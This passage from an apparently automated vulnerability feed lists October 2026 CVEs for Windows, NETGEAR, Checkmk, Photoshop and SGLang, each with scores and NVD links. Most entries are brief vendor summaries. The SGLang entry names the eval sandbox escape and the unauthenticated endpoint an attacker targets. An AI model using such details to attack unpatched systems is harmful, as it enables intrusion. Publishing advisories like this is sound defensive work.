CVSS 6.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-11731).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-11731&date=2026-10-25).
Sources:
NVD CVE-2026-11731: https://nvd.nist.gov/vuln/detail/CVE-2026-11731
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-11731&date=2026-10-25
An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service to access certain device information or modify administrative settings. This vulnerability may impact the confidentiality and integrity of management data and the availability of device-management functions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox...
https://kevwire.com/record/CVE-2026-111391
SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox... (Oct 16, 2026).
SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox through re.search __globals__. Attackers can send a crafted filter expression to the unauthenticated /dumper/configure endpoint when DUMPER_SERVER_PORT is set, running code in the scheduler process on the next forward pass.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111391).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111391&date=2026-10-25).
Sources:
NVD CVE-2026-111391: https://nvd.nist.gov/vuln/detail/CVE-2026-111391
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111391&date=2026-10-25
SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox through re.search __globals__. Attackers can send a crafted filter expression to the unauthenticated /dumper/configure endpoint when DUMPER_SERVER_PORT is set, running code in the scheduler process on the next forward pass.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108471
Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108471).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108471&date=2026-10-25).
Sources:
NVD CVE-2026-108471: https://nvd.nist.gov/vuln/detail/CVE-2026-108471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108471&date=2026-10-25
Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-100207
Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally. (Oct 13, 2026).
Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.
CVSS 7.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100207).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100207&date=2026-10-25).
Sources:
NVD CVE-2026-100207: https://nvd.nist.gov/vuln/detail/CVE-2026-100207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100207&date=2026-10-25
Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary...
https://kevwire.com/record/CVE-2026-14452
Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary... (Oct 16, 2026).
Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by tricking the user into opening a crafted URL and clicking the Reset button or submitting an empty search.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14452).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14452&date=2026-10-25).
Sources:
NVD CVE-2026-14452: https://nvd.nist.gov/vuln/detail/CVE-2026-14452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14452&date=2026-10-25
Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by tricking the user into opening a crafted URL and clicking the Reset button or submitting an empty search.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96113
Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96113).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96113&date=2026-10-25).
Sources:
NVD CVE-2026-96113: https://nvd.nist.gov/vuln/detail/CVE-2026-96113
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96113&date=2026-10-25
Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83635
Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83635).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83635&date=2026-10-25).
Sources:
NVD CVE-2026-83635: https://nvd.nist.gov/vuln/detail/CVE-2026-83635
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83635
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83635&date=2026-10-25
Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70167
Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70167).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70167&date=2026-10-25).
Sources:
NVD CVE-2026-70167: https://nvd.nist.gov/vuln/detail/CVE-2026-70167
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70167
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70167&date=2026-10-25
Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96945
Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96945).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96945&date=2026-10-25).
Sources:
NVD CVE-2026-96945: https://nvd.nist.gov/vuln/detail/CVE-2026-96945
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96945&date=2026-10-25
Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized...
https://kevwire.com/record/CVE-2026-97787
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97787).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97787&date=2026-10-25).
Sources:
NVD CVE-2026-97787: https://nvd.nist.gov/vuln/detail/CVE-2026-97787
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97787
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97787&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97792
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97792).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97792&date=2026-10-25).
Sources:
NVD CVE-2026-97792: https://nvd.nist.gov/vuln/detail/CVE-2026-97792
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97792&date=2026-10-25
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97794
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97794).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97794&date=2026-10-25).
Sources:
NVD CVE-2026-97794: https://nvd.nist.gov/vuln/detail/CVE-2026-97794
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97794
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97794&date=2026-10-25
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97799
Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97799).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97799&date=2026-10-25).
Sources:
NVD CVE-2026-97799: https://nvd.nist.gov/vuln/detail/CVE-2026-97799
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97799
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97799&date=2026-10-25
Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97800
Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97800).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97800&date=2026-10-25).
Sources:
NVD CVE-2026-97800: https://nvd.nist.gov/vuln/detail/CVE-2026-97800
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97800&date=2026-10-25
Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97803
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97803).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97803&date=2026-10-25).
Sources:
NVD CVE-2026-97803: https://nvd.nist.gov/vuln/detail/CVE-2026-97803
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97803
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97803&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97810
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97810).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97810&date=2026-10-25).
Sources:
NVD CVE-2026-97810: https://nvd.nist.gov/vuln/detail/CVE-2026-97810
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97810&date=2026-10-25
Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96934
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96934).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96934&date=2026-10-25).
Sources:
NVD CVE-2026-96934: https://nvd.nist.gov/vuln/detail/CVE-2026-96934
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96934&date=2026-10-25
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-97312
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97312).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97312&date=2026-10-25).
Sources:
NVD CVE-2026-97312: https://nvd.nist.gov/vuln/detail/CVE-2026-97312
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97312&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104348
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104348).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104348&date=2026-10-25).
Sources:
NVD CVE-2026-104348: https://nvd.nist.gov/vuln/detail/CVE-2026-104348
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104348&date=2026-10-25
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104347
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104347).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104347&date=2026-10-25).
Sources:
NVD CVE-2026-104347: https://nvd.nist.gov/vuln/detail/CVE-2026-104347
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104347&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104346
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104346).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104346&date=2026-10-25).
Sources:
NVD CVE-2026-104346: https://nvd.nist.gov/vuln/detail/CVE-2026-104346
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104346&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100112
